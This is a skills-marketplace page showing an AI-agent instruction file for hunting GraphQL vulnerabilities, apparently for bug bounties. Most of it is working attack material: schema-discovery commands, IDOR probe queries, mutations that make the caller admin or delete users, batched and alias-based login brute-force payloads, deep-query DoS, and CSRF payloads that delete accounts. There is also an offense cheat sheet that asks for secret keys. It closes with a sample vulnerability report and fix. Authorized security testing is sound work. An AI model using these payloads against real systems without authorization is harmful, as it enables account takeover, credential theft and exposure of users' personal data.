Skip to content
cccskills
FreePublished on GitHub

graphql

Hunt GraphQL-specific vulns — introspection abuse, field-level authorization (IDOR), batched queries for brute force, alias-based rate limit bypass, deep query DoS, mutation injection, schema disclosure, suggestion leakage, CSRF via GET, and CSRF via POST without preflight. Use when a GraphQL endpoint is present.

The English summary is being prepared. Showing the original description.

See how to install

Files included (1)

  • SKILL.md11.2 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

GraphQL Hunting

One endpoint, infinite attack surface. The IDOR factory.

When to invoke

Trigger phrases:

  • "test GraphQL"
  • "graphql introspection"
  • "graphql IDOR"
  • "find graphql"

Detection

# Common GraphQL paths
for path in /graphql /graphiql /api/graphql /v1/graphql /v2/graphql /api/v3/graphql /query /api/query /__graphql /altair; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
    [[ "$code" != "404" ]] && echo "[$code] $path"
done

# Or use graphw00f
graphw00f -t https://target.com/graphql -d
# Identifies the GraphQL implementation (Apollo, Hasura, Graphene, etc.)

Common GraphQL paths (try all):

/graphql
/api/graphql
/v1/graphql
/v2/graphql
/query
/api/query
/graphql/v1
/graphqlv1
/altair
/graphiql
/graphiql.html
/__graphql
/api/2/graphql
/api/internal/graphql
/admin/graphql

Step-by-Step Workflow

1. Detect & fingerprint engine

# graphw00f tells you which engine
graphw00f -t https://target.com/graphql -d

# Output:
# [+] Discovered Implementation: Apollo Server

Different engines have different bugs:

EngineCommon bugs
Apollo Serverintrospection on by default in dev, no depth limit by default
Hasuradirect DB access if misconfigured, JWT secret leakage
Graphene (Python)schema disclosure, no rate limit
GraphQL Yogadepth/breadth attacks
AWS AppSyncresolver IAM issues
Sangria (Scala)introspection, query complexity

2. Introspection — get the schema

If introspection is on, you get the full API map:

# Manual
curl -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d '{"query":"query{__schema{types{name,fields{name,type{name,kind,ofType{name,kind}}}}}}"}'

# Or full introspection (use the standard query)
cat > introspection.json <<'EOF'
{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"}
EOF
curl -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d @introspection.json | jq . > schema.json

# View with GraphQL Voyager (https://ivangoncharov.github.io/graphql-voyager/)
# Or convert to SDL with graphql-cli

3. If introspection disabled — use clairvoyance

git clone https://github.com/nikitastupin/clairvoyance
cd clairvoyance
pip install -r requirements.txt

# Brute-force schema using suggestion leakage
python3 -m clairvoyance \
    -u https://target.com/graphql \
    -o schema.json \
    -w ~/tools/SecLists/Discovery/Web-Content/graphql.txt

Some engines respond to "did you mean X" suggestions on bad queries — clairvoyance exploits this.

4. Field-level IDOR (the most common GraphQL bug)

GraphQL fields are often auth-checked at the top level but not at nested fields.

# May work even when /api/user/{id} is forbidden
{
  user(id: "VICTIM_ID") {
    email
    phoneNumber
    paymentMethods { last4 }
    notifications { content }
  }
}

# Try every "lookup-by-id" field on every type
{ project(id: "X") { ... } }
{ order(id: "X") { ... } }
{ document(id: "X") { ... } }
{ organization(id: "X") { members { email } } }

Map all Query.*ById from the schema, throw victim IDs at each.

5. Mutation-based attacks

# Promote yourself to admin (if `role` is mutable)
mutation { updateUser(id: "MY_ID", input: { role: "admin" }) { id role } }

# Update someone else's profile
mutation { updateUser(id: "VICTIM_ID", input: { email: "attacker@x.com" }) { id email } }

# Delete admin
mutation { deleteUser(id: "ADMIN_ID") { success } }

# Spam endpoint via batched mutation
[
  {"query": "mutation { sendEmail(to: \"v1@x.com\") { id } }"},
  {"query": "mutation { sendEmail(to: \"v2@x.com\") { id } }"},
  ...
]

6. Batched queries for brute-force / rate-limit bypass

[
  {"query": "mutation { login(email: \"victim@x.com\", password: \"pass1\") { token } }"},
  {"query": "mutation { login(email: \"victim@x.com\", password: \"pass2\") { token } }"},
  {"query": "mutation { login(email: \"victim@x.com\", password: \"pass3\") { token } }"},
  ...
]

Many GraphQL servers rate-limit on request count, not operation count. 1 request, 1000 operations = bypass.

7. Alias-based brute force

mutation {
  a1: login(email: "victim@x.com", password: "pass1") { token }
  a2: login(email: "victim@x.com", password: "pass2") { token }
  a3: login(email: "victim@x.com", password: "pass3") { token }
  # ...
}

Same: one HTTP request, many login attempts.

8. Deep query DoS

{
  user(id: "X") {
    posts {
      author {
        posts {
          author {
            posts {
              # ... 50 levels deep
            }
          }
        }
      }
    }
  }
}

If no depth limit → server spends CPU/memory. (Don't actually DoS production — note as theoretical or report with controlled test.)

9. Field suggestion leakage

{ userr(id: "x") { id } }      # typo `userr`
# Response: "Did you mean 'user'?"

Even with introspection off, suggestions leak schema. Document these as info leak.

10. Authorization bypass via aliases

Some apps log/audit loginUser operations. Renaming via alias evades:

mutation {
  notReallyLogin: loginUser(email: "victim@x.com", password: "x") { token }
}

Same operation, different "name" in logs.

11. CSRF via GET (GraphQL over GET)

Most GraphQL clients POST. But some servers also accept GET — vulnerable to CSRF since browsers send credentials.

<img src="https://target.com/graphql?query=mutation+%7BdeleteAccount%7D">

12. CSRF via POST without preflight

If the GraphQL endpoint accepts Content-Type: application/x-www-form-urlencoded or text/plain, no CORS preflight triggers:

<form method="POST" action="https://target.com/graphql" enctype="text/plain">
  <input name='{"query":"mutation{deleteAccount}"}' value="">
</form>

13. Tools

# inql (Burp extension + standalone)
# Captures GraphQL → renders schema → generates queries

# graphql-cop (security testing)
git clone https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql

# GraphQLmap (interactive shell)
python3 GraphQLmap.py -u https://target.com/graphql

Quick offense queries cheat

# Schema dump (introspection)
{__schema{queryType{name},mutationType{name},types{name,kind,fields{name,type{name,kind}}}}}

# Field probing for IDOR
{user(id:"BBBB"){id,email,role}}
{order(id:"BBBB"){id,total,user{id,email}}}
{organization(id:"BBBB"){id,members{email,role}}}

# Privilege escalation via mutation
mutation{updateUser(id:"MY_ID",input:{role:"admin"}){role}}
mutation{updateRole(userId:"MY_ID",role:"admin"){success}}

# Information disclosure via fields
{me{id,email,role,tenant{id},apiKeys{key},stripeId}}

# Hidden admin queries
{adminUsers{id,email}}
{internalConfig{stripeSecretKey,jwtSecret}}

Output template

## Critical: IDOR in GraphQL `user` field → bulk email/PII disclosure

### Summary
The `user(id: ID!)` query in the GraphQL schema does not enforce object-level authorization. Any authenticated user can read other users' email, phone number, address, and payment method last-4 digits by querying by ID.

### Steps to reproduce
1. Log in as Account A (your own account)
2. Capture the GraphQL endpoint's `Authorization` header
3. Send this query against `POST https://target.com/api/graphql`:
   ```http
   Authorization: Bearer A_TOKEN
   Content-Type: application/json

   {"query":"{ user(id:\"BBBB-VICTIM-ID\"){ id email phoneNumber address paymentMethods{ last4 brand } } }"}
  1. Response:
    {
      "data": {
        "user": {
          "id": "BBBB-VICTIM-ID",
          "email": "victim@example.com",
          "phoneNumber": "+1-555-1234",
          "address": "123 Main St, Anytown, USA",
          "paymentMethods": [{"last4":"4242","brand":"visa"}]
        }
      }
    }
    

Impact

  • Any authenticated user can enumerate all 2M+ user accounts by iterating IDs
  • PII disclosed: email, phone, address, payment method
  • Phone + email enables credential stuffing / SIM swap targeting
  • GDPR/CCPA compliance impact

Suggested fix

  • Add authorization check at the user resolver: if (request.user.id !== id && !request.user.isAdmin) throw ForbiddenError
  • Audit all Query.*ById resolvers for similar issues

## Cross-references

- `[[idor-hunting]]` — GraphQL is the world's biggest IDOR factory
- `[[content-discovery]]` — find /graphql endpoints
- `[[auth-bypass]]` — GraphQL auth bypass tricks
- `[[js-analysis]]` — embedded GraphQL queries in JS

## Common pitfalls

1. **Treating introspection-disabled as "safe".** Use clairvoyance to recover schema.
2. **Reporting introspection alone.** Most programs treat it as informative unless paired with another bug.
3. **DoSing with deep queries on production.** Just don't. Report as theoretical with limited PoC.
4. **Missing alias-based brute force.** This is a quiet pay class.
5. **Not testing mutations as much as queries.** Mutations = highest-impact bugs.

## graphw00f → engine-specific guide

```bash
graphw00f -t https://target.com/graphql -d
# Engine: Apollo Server

# Now check known Apollo bugs:
# - Introspection in production?
# - Apollo Studio enabled?
# - Resolver-level auth bypass?
# - Cache poisoning on persisted queries?

For each engine, see docs/tool-cheatsheets/graphql-engines.md.

"Should I report introspection?"

ContextSubmit?
Introspection enabled on prod + schema reveals admin queriesYes (low/med info)
Introspection enabled + you found IDOR using itYes — chain
Introspection enabled but only basic queriesMost programs reject as informative
Introspection enabled on dev env (e.g., dev.target.com)Usually informative

Burp extension setup

Install InQL from BApp Store. It:

  • Sends introspection queries automatically
  • Decodes GraphQL POST bodies (otherwise they're just JSON blobs)
  • Generates one-click "send each query as test" templates
  • Integrates with Repeater for fast probing

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

See all skills by 0xGhostCAT

Report a problem with this skill